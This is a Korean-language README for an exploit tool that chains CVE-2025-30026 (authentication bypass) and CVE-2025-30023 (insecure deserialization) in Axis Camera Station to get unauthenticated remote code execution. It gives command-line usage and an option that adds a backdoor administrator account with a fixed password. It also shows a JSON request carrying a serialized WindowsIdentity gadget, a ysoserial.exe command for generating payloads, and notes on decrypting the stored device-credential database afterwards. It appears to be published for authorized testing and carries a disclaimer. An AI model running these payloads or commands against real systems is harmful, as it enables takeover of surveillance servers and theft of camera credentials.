
Axis Camera Station(ACS)의 비인증 RCE로, CVE‑2025‑30026(인증 우회) + CVE‑2025‑30023(안전하지 않은 역직렬화)를 연계한 취약점
이 익스플로잇은 CVE‑2025‑30026(인증 우회)과 CVE‑2025‑30023(안전하지 않은 역직렬화)을 연쇄하여 Axis Camera Station 소프트웨어에서 인증 없는 RCE를 달성합니다. 이는 로그인 메커니즘을 우회하고 임의 명령 실행을 유발하는 악성 직렬화 페이로드를 전달하여 공격자가 대상 머신을 완전히 제어할 수 있게 합니다.
두 취약점 모두 6.9 이전 버전의 Axis Camera Station Pro와 5.58 이전 버전의 Axis Camera Station에 영향을 미칩니다.
이는 프로토콜과 관련 취약점을 설명하는 Claroty의 블로그 게시물 "Turning Camera Surveillance on its Axis"를 기반으로 합니다.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| 플래그 | 설명 |
|---|---|
--host | 대상 IP/호스트 (필수). |
--port | 대상 포트 (기본값 55752). |
--key | PEM 형식의 클라이언트 RSA-2048 개인 키 (필수). |
--json | 전송할 Request를 담은 로컬 JSON 파일. |
--version | 버전 정보를 가져오기 위한 VersionFacade.get_ProductVersion Request. |
--adduser | 비밀번호 ThisIsIt123으로 사용자 ricardo를 생성하고 Administrators 그룹에 추가. |
--wait | 핸드셰이크 후 채널에서 수신 대기할 시간(초) (기본값 5). |
--listen | Request 전송 후 응답을 기다릴 시간(초) (기본값 15). |
의존성을 설치하고 클라이언트용 PEM 형식의 RSA 개인 키를 생성합니다:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
제품 버전을 조회하여 해당 버전이 취약한지 확인합니다:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

역직렬화를 악용하여 비밀번호가 ThisIsIt123인 관리자 사용자 ricardo를 생성합니다:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


JSON 파일에서 사용자 지정 Request를 전송하여 임의의 명령을 실행합니다:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
Request 파일 형식Request는 단일 "Request" 키를 가진 JSON 객체입니다. 역직렬화를 악용하는 형식은 다음과 같습니다:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
clientInformationDto 필드의 값은 WindowsIdentity와 같은 가젯과 함께 Ysoserial.net을 사용하여 얻을 수 있으며, 이는 이 취약점을 악용하는 데 상당히 안정적으로 보입니다(다른 가젯은 서비스를 충돌시킵니다):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Windows 머신에 접근하게 되면, 서로 다른 장치에 연결하기 위한 자격 증명이 포함된 .FDB 데이터베이스에 접근할 수 있습니다. 이 데이터베이스는 취약한 AES 구현으로 암호화되어 있으며, 호스트의 볼륨 일련 번호를 사용하여 즉시 복호화하거나 GPU를 사용하여 몇 분 만에 무차별 대입 공격으로 해독할 수 있습니다.
이 저장소의 스크립트를 사용하여 이를 악용할 수 있습니다: CVE-2026-63286.
AXIS Camera Station은 HTTP 위에 상태 저장 바이너리 프로토콜을 감쌉니다. 연결당 하나의 요청/응답을 사용하는 대신, 두 개의 장기 채널을 열고 연결이 닫힐 때까지 그 위로 프레임 메시지를 스트리밍합니다.
| 계층 | 세부 사항 |
|---|---|
| 전송 | 포트 55752를 통한 HTTP. GET /_/는 RX(수신) 채널을 열고, POST /_/<channelID>는 TX(송신) 채널이며 각 메시지는 POST 본문에 담깁니다. |
| RX 프레이밍 | HTTP chunked 본문; 그 내부에서 제어 프레임은 [uint32 LE length][data] 형식입니다. |
| 핸드셰이크 | 양측이 공개 키를 교환한 다음, 상대방의 공개 키로 감싼 무작위 AES 세션 키를 교환합니다. |
| 키 형식 | 클라이언트는 자신의 X.509 인증서(base64)를 전송합니다. AES 키는 base64(wrapped_key):base64(iv) 형식으로 전송됩니다. |
| RSA 래핑 | PKCS#1 v1.5. |
| 채널 | PKCS#7 패딩을 사용하는 AES-256-CBC. 서버→클라이언트 프레임은 서버의 키 + IV를 사용합니다. |
| 애플리케이션 | Axis.Remoting JSON. 클라이언트는 먼저 HELLO로 자신의 ClientId를 전송한 다음, {"Request":{"Id","Service","Method","Parameters"}}를 전송합니다. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Windows 11에서 실행되는 버전 5.57.27610 및 5.57.33556에서 테스트되었습니다.
역직렬화 공격은 불안정한 가젯이나 부적절한 매개변수를 사용할 경우 서비스를 중단시킬 수 있으므로, 항상 통제된 환경에서 테스트하십시오.
이 스크립트는 교육 및 승인된 테스트 목적으로만 제공됩니다... 사용에 따른 책임은 사용자 본인에게 있습니다!